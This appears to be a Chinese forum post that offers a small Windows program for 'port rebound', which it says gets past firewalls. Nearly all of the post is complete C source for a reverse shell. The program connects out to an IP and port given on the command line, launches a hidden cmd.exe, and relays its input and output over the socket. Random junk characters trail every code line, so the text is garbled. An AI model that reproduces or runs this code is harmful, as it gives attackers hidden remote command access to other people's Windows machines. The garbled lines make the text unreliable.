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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G `JXi/#`  
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/* ============================== G 4 C 7  
Rebound port in Windows NT i)+2? <]  
By wind,2006/7 +FYhDB~m  
===============================*/ QfsTUAfR  
#include e[J0+ x#;r  
#include 8}Su7v1  
}P"JP[#E\  
#pragma comment(lib,"wsock32.lib") df!n.&\y!  
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void OutputShell(); 44_CT?t<  
SOCKET sClient; .p(~/MnO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =j!Ruy1  
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void main(int argc,char **argv) LxxFosi8  
{ Fd@:*ER  
WSADATA stWsaData; Ov9kD0S  
int nRet; Zk n1@a  
SOCKADDR_IN stSaiClient,stSaiServer; >-YWq  
,a?$F1Z-  
if(argc != 3) "e~"-B7(\Y  
{ oj~0zJI  
printf("Useage:\n\rRebound DestIP DestPort\n"); Y7 `i~K;  
return; 9oJ=:E~CP  
} U/bQ(,3}  
_sp/RU,J-3  
WSAStartup(MAKEWORD(2,2),&stWsaData); s1NRUV2E  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WjvD C"  
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stSaiClient.sin_family = AF_INET; XxEKv=_bc  
stSaiClient.sin_port = htons(0); ,-{ 2ai_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $@:z4S(  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b<mxf\b  
{ '1yy&QUZq  
printf("Bind Socket Failed!\n"); Qd$!?h  
return; j{u! /FD  
} 1?bX$$y l;  
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stSaiServer.sin_family = AF_INET; xYCX}bksh  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N HL{.8L{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ['rqz1DL5  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |lhVk\X  
{ SmYY){AQ/  
printf("Connect Error!"); ce\ F~8y  
return; \Q<Ur&J]%  
} 0 SeDBs  
OutputShell(); G6L /Ny3>_  
} |KxFi H  
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void OutputShell() K@z zseQ}=  
{ QcDWVM'v  
char szBuff[1024]; *PjW,   
SECURITY_ATTRIBUTES stSecurityAttributes; yPqZ ,  
OSVERSIONINFO stOsversionInfo; aj<=]=hr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NuqWezJm&  
STARTUPINFO stStartupInfo; ` 'y[i  
char *szShell; -5 YvtL  
PROCESS_INFORMATION stProcessInformation; ) b vZ~t+^  
unsigned long lBytesRead; v"&Fj  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y|iJO>_Uu=  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RjS&^u aP  
stSecurityAttributes.lpSecurityDescriptor = 0; n(#159pZ  
stSecurityAttributes.bInheritHandle = TRUE; -S"$S16D  
N{<=s]I%x  
s]=s|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;h"?h*}m!\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,HFoy-Yq  
}#/,nJm'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v"6ij k&(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eSgCS*}0$z  
stStartupInfo.wShowWindow = SW_HIDE; @P^8?!i+  
stStartupInfo.hStdInput = hReadPipe; 0=r.I}x  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jK^'s6i#  
/f7Fv*z/  
GetVersionEx(&stOsversionInfo); >}*i Qq  
pGy(JvMw"  
switch(stOsversionInfo.dwPlatformId) u8Au `  
{ idf~"a  
case 1: nKJJ7 R L  
szShell = "command.com"; yH8 N8  
break; : qKxm(  
default: +Zx+DW cq  
szShell = "cmd.exe"; O&!tW^ih  
break; U. 1Vpfy  
} xrK%3nA4s"  
x-5XOqD{'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f-?00*T  
M<,E[2op  
send(sClient,szMsg,77,0); D 5qCn^R  
while(1) k@eU #c5c  
{ s wdW70  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,?+rM ;  
if(lBytesRead) "mnWqRpX  
{ F(8>"(C  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dE+xU(\, w  
send(sClient,szBuff,lBytesRead,0); Syn>;FX  
} 9'I I!  
else Uu9\;f  
{ h,q%MZ==^s  
lBytesRead=recv(sClient,szBuff,1024,0); L_.BcRy  
if(lBytesRead<=0) break; 9IKFrCO9,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VN[h0+n4Th  
} /! kKL$j  
} g(\FG  
63d' fgVp  
return; L[d 7@  
}
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